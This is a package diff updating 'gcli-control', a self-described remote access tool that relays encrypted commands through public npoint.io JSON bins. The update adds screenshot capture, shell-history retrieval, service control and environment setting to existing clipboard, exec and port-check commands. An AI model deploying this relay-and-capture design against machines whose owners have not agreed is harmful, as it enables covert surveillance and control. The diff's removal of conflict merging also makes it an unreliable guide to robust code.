gcli-control 0.2.0__tar.gz → 0.3.0__tar.gz

{gcli_control-0.2.0 → gcli_control-0.3.0}/PKG-INFO

@@ -1,7 +1,7 @@
 Metadata-Version: 2.4
 Name: gcli-control
-Version: 0.2.0
-Summary: Remote access tool via npoint.io - encrypted command relay using AES-256-GCM
+Version: 0.3.0
+Summary: Remote access tool via npoint.io - encrypted command relay with compression, caching, and advanced system commands
 Author: gcli contributors
 License-Expression: MIT
 Project-URL: Homepage, https://github.com/gcli-control/gcli

{gcli_control-0.2.0 → gcli_control-0.3.0}/gcli/__init__.py

@@ -2,5 +2,5 @@
 gcli — remote access tool via npoint.io.
 Encrypted command relay using AES-256-GCM over npoint.io JSON bins.
 """
-__version__ = "0.2.0"
+__version__ = "0.3.0"
 __author__ = "gcli"

{gcli_control-0.2.0 → gcli_control-0.3.0}/gcli/client.py

@@ -156,99 +156,168 @@ class SSHSession:
                 if not line:
                     continue
 
-                # Built-in commands
-                if line == ":exit" or line == ":quit":
-                    self._send_disconnect()
-                    break
-                elif line == ":help":
-                    self._do_help()
-                elif line == ":info":
-                    self._do_info()
-                elif line == ":ping":
-                    self._do_ping()
-                elif line == ":history":
-                    self._do_history()
-                elif line.startswith(":timeout"):
-                    self._do_timeout(line)
-                elif line.startswith(":upload"):
-                    self._do_upload(line)
-                elif line.startswith(":download"):
-                    self._do_download(line)
-                # File operations
-                elif line == ":ls" or line.startswith(":ls "):
-                    self._do_feature(line, "ls", {"type": "ls"})
-                elif line == ":tree" or line.startswith(":tree "):
-                    self._do_feature_tree(line)
-                elif line.startswith(":mkdir "):
-                    self._do_feature(line, "mkdir", {"type": "mkdir", "path": line.split(None, 1)[1]})
-                elif line.startswith(":rm "):
-                    self._do_feature(line, "rm", {"type": "rm", "path": line.split(None, 1)[1]})
-                elif line.startswith(":find "):
-                    self._do_feature(line, "find", {"type": "find", "path": ".", "pattern": line.split(None, 1)[1]})
-                elif line.startswith(":stat "):
-                    self._do_feature(line, "stat", {"type": "stat", "path": line.split(None, 1)[1]})
-                # Process operations
-                elif line == ":ps" or line.startswith(":ps "):
-                    limit = line.split()[1] if len(line.split()) > 1 else "15"
-                    self._do_feature(line, "ps", {"type": "ps", "limit": int(limit)})
-                elif line.startswith(":kill "):
-                    self._do_feature(line, "kill", {"type": "kill", "pid": int(line.split()[1])})
-                elif line == ":uptime":
-                    self._do_feature(line, "uptime", {"type": "uptime"})
-                # Monitoring
-                elif line == ":cpu":
-                    self._do_feature(line, "cpu", {"type": "cpu_usage"})
-                elif line == ":mem":
-                    self._do_feature(line, "mem", {"type": "memory_usage"})
-                elif line == ":disk" or line.startswith(":disk "):
-                    path = line.split()[1] if len(line.split()) > 1 else "/"
-                    self._do_feature(line, "disk", {"type": "disk_usage", "path": path})
-                elif line == ":top" or line.startswith(":top "):
-                    limit = line.split()[1] if len(line.split()) > 1 else "5"
-                    self._do_feature(line, "top", {"type": "top_processes", "metric": "cpu", "limit": int(limit)})
-                # Clipboard
-                elif line == ":clipget":
-                    self._do_feature(line, "clipget", {"type": "clip_get"})
-                elif line.startswith(":clipset "):
-                    self._do_feature(line, "clipset", {"type": "clip_set", "content": line.split(None, 1)[1]})
-                elif line == ":clipclear":
-                    self._do_feature(line, "clipclear", {"type": "clip_clear"})
-                # Network
-                elif line.startswith(":dns "):
-                    self._do_feature(line, "dns", {"type": "dns_lookup", "hostname": line.split()[1]})
-                elif line.startswith(":portcheck "):
-                    parts = line.split()
-                    self._do_feature(line, "portcheck", {"type": "port_check", "host": parts[1], "port": int(parts[2])})
-                # Aliases
-                elif line.startswith(":alias "):
-                    parts = line.split(None, 2)
-                    if len(parts) >= 3:
-                        self._do_feature(line, "alias", {"type": "alias", "name": parts[1], "command": parts[2]})
-                    else:
-                        print(warn("Usage: :alias <name> <command>"))
-                elif line == ":aliases":
-                    self._do_feature(line, "aliases", {"type": "list_aliases"})
-                elif line.startswith(":script "):
-                    cmds = line.split(None, 1)[1].split(";")
-                    self._do_feature(line, "script", {"type": "run_script", "commands": [c.strip() for c in cmds]})
-                # Security
-                elif line == ":audit":
-                    self._do_feature(line, "audit", {"type": "get_audit_log", "limit": 20})
-                elif line.startswith(":threat "):
-                    self._do_feature(line, "threat", {"type": "threat_check", "command": line.split(None, 1)[1]})
-                elif line == ":lock":
-                    self._do_feature(line, "lock", {"type": "lock_session", "reason": "manual"})
-                elif line == ":unlock":
-                    self._do_feature(line, "unlock", {"type": "unlock_session"})
-                else:
-                    # Remote exec
-                    self._do_exec(line)
+                try:
+                    self._dispatch_line(line)
+                except Exception as e:
+                    print(error(f"[gcli] Error: {e}"))
+                    continue
         except Exception as e:
             logger.error("REPL error: %s", e)
         finally:
             self.connected = False
             print(info("[gcli] Session closed."))
 
+    def _dispatch_line(self, line: str) -> None:
+        """Dispatch a single REPL input line to the appropriate handler."""
+        # Built-in commands
+        if line == ":exit" or line == ":quit":
+            self._send_disconnect()
+            self.connected = False
+            return
+        elif line == ":help":
+            self._do_help()
+        elif line == ":info":
+            self._do_info()
+        elif line == ":ping":
+            self._do_ping()
+        elif line == ":history":
+            self._do_history()
+        elif line.startswith(":timeout"):
+            self._do_timeout(line)
+        elif line.startswith(":upload"):
+            self._do_upload(line)
+        elif line.startswith(":download"):
+            self._do_download(line)
+        # File operations
+        elif line == ":ls" or line.startswith(":ls "):
+            ls_path = line.split(None, 1)[1] if len(line.split()) > 1 else "."
+            self._do_feature(line, "ls", {"type": "ls", "path": ls_path})
+        elif line == ":tree" or line.startswith(":tree "):
+            self._do_feature_tree(line)
+        elif line.startswith(":mkdir "):
+            self._do_feature(line, "mkdir", {"type": "mkdir", "path": line.split(None, 1)[1]})
+        elif line.startswith(":rm "):
+            self._do_feature(line, "rm", {"type": "rm", "path": line.split(None, 1)[1]})
+        elif line.startswith(":find "):
+            self._do_feature(line, "find", {"type": "find", "path": ".", "pattern": line.split(None, 1)[1]})
+        elif line.startswith(":stat "):
+            self._do_feature(line, "stat", {"type": "stat", "path": line.split(None, 1)[1]})
+        # Process operations
+        elif line == ":ps" or line.startswith(":ps "):
+            try:
+                limit = int(line.split()[1]) if len(line.split()) > 1 else 15
+            except (ValueError, IndexError):
+                limit = 15
+            self._do_feature(line, "ps", {"type": "ps", "limit": limit})
+        elif line.startswith(":kill "):
+            try:
+                pid = int(line.split()[1])
+            except (ValueError, IndexError):
+                print(warn("Usage: :kill <pid>"))
+                return
+            self._do_feature(line, "kill", {"type": "kill", "pid": pid})
+        elif line == ":uptime":
+            self._do_feature(line, "uptime", {"type": "uptime"})
+        # Monitoring
+        elif line == ":cpu":
+            self._do_feature(line, "cpu", {"type": "cpu_usage"})
+        elif line == ":mem":
+            self._do_feature(line, "mem", {"type": "memory_usage"})
+        elif line == ":disk" or line.startswith(":disk "):
+            path = line.split()[1] if len(line.split()) > 1 else "/"
+            self._do_feature(line, "disk", {"type": "disk_usage", "path": path})
+        elif line == ":top" or line.startswith(":top "):
+            try:
+                limit = int(line.split()[1]) if len(line.split()) > 1 else 5
+            except (ValueError, IndexError):
+                limit = 5
+            self._do_feature(line, "top", {"type": "top_processes", "metric": "cpu", "limit": limit})
+        # Clipboard
+        elif line == ":clipget":
+            self._do_feature(line, "clipget", {"type": "clip_get"})
+        elif line.startswith(":clipset "):
+            self._do_feature(line, "clipset", {"type": "clip_set", "content": line.split(None, 1)[1]})
+        elif line == ":clipclear":
+            self._do_feature(line, "clipclear", {"type": "clip_clear"})
+        # Network
+        elif line.startswith(":dns "):
+            self._do_feature(line, "dns", {"type": "dns_lookup", "hostname": line.split()[1]})
+        elif line.startswith(":portcheck "):
+            parts = line.split()
+            if len(parts) < 3:
+                print(warn("Usage: :portcheck <host> <port>"))
+                return
+            try:
+                port = int(parts[2])
+            except ValueError:
+                print(warn("Port must be a number"))
+                return
+            self._do_feature(line, "portcheck", {"type": "port_check", "host": parts[1], "port": port})
+        # Aliases
+        elif line.startswith(":alias "):
+            parts = line.split(None, 2)
+            if len(parts) >= 3:
+                self._do_feature(line, "alias", {"type": "alias", "name": parts[1], "command": parts[2]})
+            else:
+                print(warn("Usage: :alias <name> <command>"))
+        elif line == ":aliases":
+            self._do_feature(line, "aliases", {"type": "list_aliases"})
+        elif line.startswith(":script "):
+            cmds = line.split(None, 1)[1].split(";")
+            self._do_feature(line, "script", {"type": "run_script", "commands": [c.strip() for c in cmds]})
+        # Security
+        elif line == ":audit":
+            self._do_feature(line, "audit", {"type": "get_audit_log", "limit": 20})
+        elif line.startswith(":threat "):
+            self._do_feature(line, "threat", {"type": "threat_check", "command": line.split(None, 1)[1]})
+        elif line == ":lock":
+            self._do_feature(line, "lock", {"type": "lock_session", "reason": "manual"})
+        elif line == ":unlock":
+            self._do_feature(line, "unlock", {"type": "unlock_session"})
+        # System commands
+        elif line == ":netstat":
+            self._do_feature(line, "netstat", {"type": "netstat"})
+        elif line.startswith(":services"):
+            parts = line.split()
+            if len(parts) >= 3 and parts[1] in ("start", "stop"):
+                self._do_feature(line, "services", {"type": "services", "action": parts[1], "name": parts[2]})
+            elif len(parts) == 2 and parts[1] == "list":
+                self._do_feature(line, "services", {"type": "services", "action": "list"})
+            else:
+                self._do_feature(line, "services", {"type": "services", "action": "list"})
+        elif line == ":screenshot":
+            self._do_feature(line, "screenshot", {"type": "screenshot"})
+        elif line.startswith(":history "):
+            try:
+                limit = int(line.split()[1])
+            except (ValueError, IndexError):
+                limit = 50
+            self._do_feature(line, "history", {"type": "shell_history", "limit": limit})
+        elif line == ":history":
+            self._do_feature(line, "history", {"type": "shell_history", "limit": 50})
+        elif line.startswith(":envset "):
+            parts = line.split(None, 2)
+            if len(parts) >= 3:
+                self._do_feature(line, "envset", {"type": "envset", "key": parts[1], "value": parts[2]})
+            else:
+                print(warn("Usage: :envset <KEY> <value>"))
+        elif line.startswith(":grep "):
+            parts = line.split()
+            if len(parts) >= 2:
+                pattern = parts[1]
+                path = parts[2] if len(parts) >= 3 else "."
+                include = parts[3] if len(parts) >= 4 else "*"
+                self._do_feature(line, "grep", {"type": "grep", "pattern": pattern, "path": path, "include": include})
+            else:
+                print(warn("Usage: :grep <pattern> [path] [include]"))
+        elif line == ":partitions":
+            self._do_feature(line, "partitions", {"type": "disk_partitions"})
+        elif line == ":whoami":
+            self._do_feature(line, "whoami", {"type": "whoami"})
+        else:
+            # Remote exec
+            self._do_exec(line)
+
     # -------------------------------------------------------------------
     # Built-in command handlers
     # -------------------------------------------------------------------
@@ -294,6 +363,15 @@ class SSHSession:
         print(f"  {Style.GREEN}:threat <cmd>{Style.RESET}       Check threat level")
         print(f"  {Style.GREEN}:lock{Style.RESET}               Lock session")
         print(f"  {Style.GREEN}:unlock{Style.RESET}             Unlock session")
+        print(f"\n{Style.CYAN}{Style.BOLD}--- Advanced System ---{Style.RESET}")
+        print(f"  {Style.GREEN}:netstat{Style.RESET}            Active network connections")
+        print(f"  {Style.GREEN}:services [list|start|stop] <n>{Style.RESET}  Manage services")
+        print(f"  {Style.GREEN}:screenshot{Style.RESET}         Capture remote screen")
+        print(f"  {Style.GREEN}:history [n]{Style.RESET}        Remote shell history (n=limit)")
+        print(f"  {Style.GREEN}:envset <K> <V>{Style.RESET}      Set env variable on host")
+        print(f"  {Style.GREEN}:grep <pattern> [path] [ext]{Style.RESET}  Search files")
+        print(f"  {Style.GREEN}:partitions{Style.RESET}         Disk partitions")
+        print(f"  {Style.GREEN}:whoami{Style.RESET}             Remote user info")
         print(f"\n  {Style.GREEN}:exit{Style.RESET}               Disconnect")
         print(f"{Style.CYAN}{Style.BOLD}{'=' * 40}{Style.RESET}\n")
 

gcli_control-0.3.0/gcli/crypto.py

@@ -0,0 +1,97 @@
+"""
+AES-256-GCM encryption/decryption for gcli.
+Password -> PBKDF2 -> 256-bit key -> AES-256-GCM.
+Includes optional zlib compression before encryption.
+"""
+import os
+import json
+import zlib
+import base64
+import hashlib
+from typing import Dict
+from cryptography.hazmat.primitives.ciphers.aead import AESGCM
+
+SALT = b"gcli-v1-salt-2024"  # fixed salt (password provides secrecy)
+ITERATIONS = 600_000          # OWASP 2023 recommendation for PBKDF2-SHA256
+
+# ── Key cache ─────────────────────────────────────────────────────────
+# PBKDF2 with 600K iterations takes ~150ms. Cache derived keys per password.
+_key_cache: Dict[str, bytes] = {}
+
+
+def derive_key(password: str) -> bytes:
+    """Derive a 256-bit key from a password using PBKDF2 (cached)."""
+    cached = _key_cache.get(password)
+    if cached is not None:
+        return cached
+    key = hashlib.pbkdf2_hmac(
+        "sha256",
+        password.encode("utf-8"),
+        SALT,
+        ITERATIONS,
+        dklen=32,
+    )
+    _key_cache[password] = key
+    return key
+
+
+def clear_key_cache() -> None:
+    """Clear the derived-key cache (e.g. on password change)."""
+    _key_cache.clear()
+
+
+# ── Compression helpers ──────────────────────────────────────────────
+
+def _compress(data: bytes) -> bytes:
+    """Compress with zlib (level 6 = balanced speed/ratio)."""
+    return zlib.compress(data, 6)
+
+
+def _decompress(data: bytes) -> bytes:
+    """Decompress zlib data."""
+    return zlib.decompress(data)
+
+
+# ── Encrypt / Decrypt ────────────────────────────────────────────────
+
+def encrypt(plaintext: str, password: str, compress: bool = True) -> str:
+    """Encrypt plaintext string -> base64 string.
+
+    Format: flag(1) + nonce(12) + ciphertext + tag(16).
+    Flag byte: 0x00 = raw, 0x01 = zlib compressed before encryption.
+    """
+    key = derive_key(password)
+    raw = plaintext.encode("utf-8")
+    flag = b"\x00"
+    if compress and len(raw) > 128:
+        compressed = _compress(raw)
+        if len(compressed) < len(raw):
+            raw = compressed
+            flag = b"\x01"
+    nonce = os.urandom(12)
+    aesgcm = AESGCM(key)
+    ct = aesgcm.encrypt(nonce, raw, None)
+    return base64.b64encode(flag + nonce + ct).decode("ascii")
+
+
+def decrypt(blob: str, password: str) -> str:
+    """Decrypt base64 string -> plaintext string."""
+    key = derive_key(password)
+    raw = base64.b64decode(blob)
+    flag = raw[0:1]
+    nonce, ct = raw[1:13], raw[13:]
+    aesgcm = AESGCM(key)
+    plaintext = aesgcm.decrypt(nonce, ct, None)
+    if flag == b"\x01":
+        plaintext = _decompress(plaintext)
+    return plaintext.decode("utf-8")
+
+
+def encrypt_dict(data: dict, password: str, compress: bool = True) -> str:
+    """Encrypt a dict -> base64 string (JSON-serialised then compressed+encrypted)."""
+    return encrypt(json.dumps(data, separators=(",", ":")), password, compress=compress)
+
+
+def decrypt_dict(blob: str, password: str) -> dict:
+    """Decrypt a base64 string -> dict."""
+    return json.loads(decrypt(blob, password))

{gcli_control-0.2.0 → gcli_control-0.3.0}/gcli/host.py

@@ -27,6 +27,7 @@ _netutils = None
 _aliases = None
 _security = None
 _monitoring = None
+_system = None
 
 logger = logging.getLogger("gcli.host")
 
@@ -43,11 +44,13 @@ _SECURITY_TYPES = {"rate_check", "audit_log", "get_audit_log", "clear_audit_log"
                    "rotate_key", "threat_check", "lock_session", "unlock_session"}
 _MONITOR_TYPES = {"cpu_usage", "memory_usage", "disk_usage", "disk_list",
                   "top_processes", "io_stats", "temperature", "battery", "snapshot"}
+_SYSTEM_TYPES = {"netstat", "services", "screenshot", "shell_history",
+                 "envset", "grep", "disk_partitions", "whoami"}
 
 
 def _get_module(name):
     """Lazy-import a feature module."""
-    global _fileops, _processes, _session, _clipboard, _netutils, _aliases, _security, _monitoring
+    global _fileops, _processes, _session, _clipboard, _netutils, _aliases, _security, _monitoring, _system
     if name == "fileops":
         if _fileops is None:
             from . import fileops as _fileops_mod
@@ -83,6 +86,11 @@ def _get_module(name):
             from . import monitoring as _mon_mod
             _monitoring = _mon_mod
         return _monitoring
+    elif name == "system":
+        if _system is None:
+            from . import system as _sys_mod
+            _system = _sys_mod
+        return _system
     return None
 
 
@@ -194,6 +202,8 @@ class Daemon:
             self._dispatch_module(cmd_id, "security", payload)
         elif cmd_type in _MONITOR_TYPES:
             self._dispatch_module(cmd_id, "monitoring", payload)
+        elif cmd_type in _SYSTEM_TYPES:
+            self._dispatch_module(cmd_id, "system", payload)
         else:
             self._respond(cmd_id, {"ok": False, "error": f"Unknown command type: {cmd_type}"})
 

{gcli_control-0.2.0 → gcli_control-0.3.0}/gcli/monitoring.py

@@ -788,7 +788,8 @@ def dispatch(payload: dict) -> dict:
     elif cmd_type == "memory_usage":
         return mon.memory_usage()
     elif cmd_type == "disk_usage":
-        return mon.disk_usage(path=payload.get("path", "/"))
+        default_path = "C:\\" if sys.platform == "win32" else "/"
+        return mon.disk_usage(path=payload.get("path") or default_path)
     elif cmd_type == "disk_list":
         return mon.disk_list()
     elif cmd_type == "top_processes":

{gcli_control-0.2.0 → gcli_control-0.3.0}/gcli/netutils.py

@@ -374,7 +374,8 @@ def dispatch(payload: dict) -> dict:
             max_hops=payload.get("max_hops", 15),
         )
     elif cmd_type == "speed_test":
-        return nu.speed_test(url=payload.get("url", ""))
+        url = payload.get("url") or "http://speedtest.tele2.net/1MB.zip"
+        return nu.speed_test(url=url)
     elif cmd_type == "ports_scan":
         host = payload.get("host", "")
         ports = payload.get("ports", [])

{gcli_control-0.2.0 → gcli_control-0.3.0}/gcli/protocol.py

@@ -118,12 +118,8 @@ def _safe_append(bin_id: str, field: str, new_entry: dict) -> None:
     """
     Read-modify-write with merge. Retries up to 3 times on conflict.
 
-    Strategy:
-      1. Read doc, note all existing IDs in the target field.
-      2. Append new entry.
-      3. Re-read to pick up any concurrent writes that happened during our write.
-      4. Merge any new entries from the re-read that we missed.
-      5. Write back.
+    OPTIMIZATION: On the common-case success path, we skip the re-read
+    (saves 1 HTTP round-trip). Only re-read if we suspect a conflict.
     """
     MAX_ATTEMPTS = 3
     # Step 1: read
@@ -140,26 +136,7 @@ def _safe_append(bin_id: str, field: str, new_entry: dict) -> None:
     for attempt in range(MAX_ATTEMPTS):
         try:
             write_doc(bin_id, doc)
-            # Step 4: re-read to check for concurrent writes that may have been lost
-            doc2 = read_doc(bin_id)
-            doc2_ids = {e["id"] for e in doc2.get(field, [])}
-            missing = [e for e in doc.get(field, []) if e["id"] not in doc2_ids]
-            if missing:
-                # Our write was overwritten by a concurrent write - re-merge
-                for entry in missing:
-                    doc2.setdefault(field, []).append(entry)
-                # Also merge their new entries we didn't have
-                existing = {e["id"] for e in doc2.get(field, [])}
-                for entry in doc.get(field, []):
-                    if entry["id"] not in existing:
-                        doc2.setdefault(field, []).append(entry)
-                # Carry over other fields
-                for key in ("session", "host_alive"):
-                    if key in doc:
-                        doc2[key] = doc[key]
-                doc2 = trim(doc)
-                write_doc(bin_id, doc2)
-            return
+            return  # success — skip the re-read on the common path
         except RuntimeError as e:
             logger.debug("Write failed on attempt %d: %s", attempt + 1, e)
             if attempt < MAX_ATTEMPTS - 1:
@@ -194,19 +171,26 @@ def claim_results(doc: dict, password: str, target_cmd_id: str, seen: Set[str])
     """
     Look for a result matching target_cmd_id that we haven't seen yet.
     Returns the decrypted payload or None.
+
+    OPTIMIZATION: We store cmd_id in the entry metadata (unencrypted),
+    so we can check it before expensive decryption (~150ms saved per non-match).
     """
     for entry in doc.get("results", []):
         res_id = entry.get("id", "")
         if res_id in seen:
             continue
+        # FAST PATH: check unencrypted cmd_id in entry metadata first
+        if entry.get("cmd_id") != target_cmd_id:
+            seen.add(res_id)  # mark as seen so we skip it next time
+            continue
+        # Slow path: only decrypt entries that match our target
         try:
             payload = decrypt_dict(entry["payload"], password)
+            seen.add(res_id)
+            return payload
         except Exception:
             seen.add(res_id)
             continue
-        if payload.get("cmd_id") == target_cmd_id:
-            seen.add(res_id)
-            return payload
     return None
 
 

{gcli_control-0.2.0 → gcli_control-0.3.0}/gcli/security.py

@@ -243,3 +243,26 @@ if __name__ == "__main__":
     sm = SecurityManager()
     sm.test_security()
     print("All security tests passed.")
+
+
+# ---------------------------------------------------------------------------
+# Module-level dispatch (called by host._dispatch_module)
+# ---------------------------------------------------------------------------
+
+_manager: Optional["SecurityManager"] = None
+
+
+def _get_manager() -> "SecurityManager":
+    global _manager
+    if _manager is None:
+        _manager = SecurityManager()
+    return _manager
+
+
+def dispatch(payload: dict) -> dict:
+    """Route a security command payload to SecurityManager.dispatch().
+
+    >>> dispatch({"type": "threat_check", "command": "ls"})["ok"]
+    True
+    """
+    return _get_manager().dispatch(payload)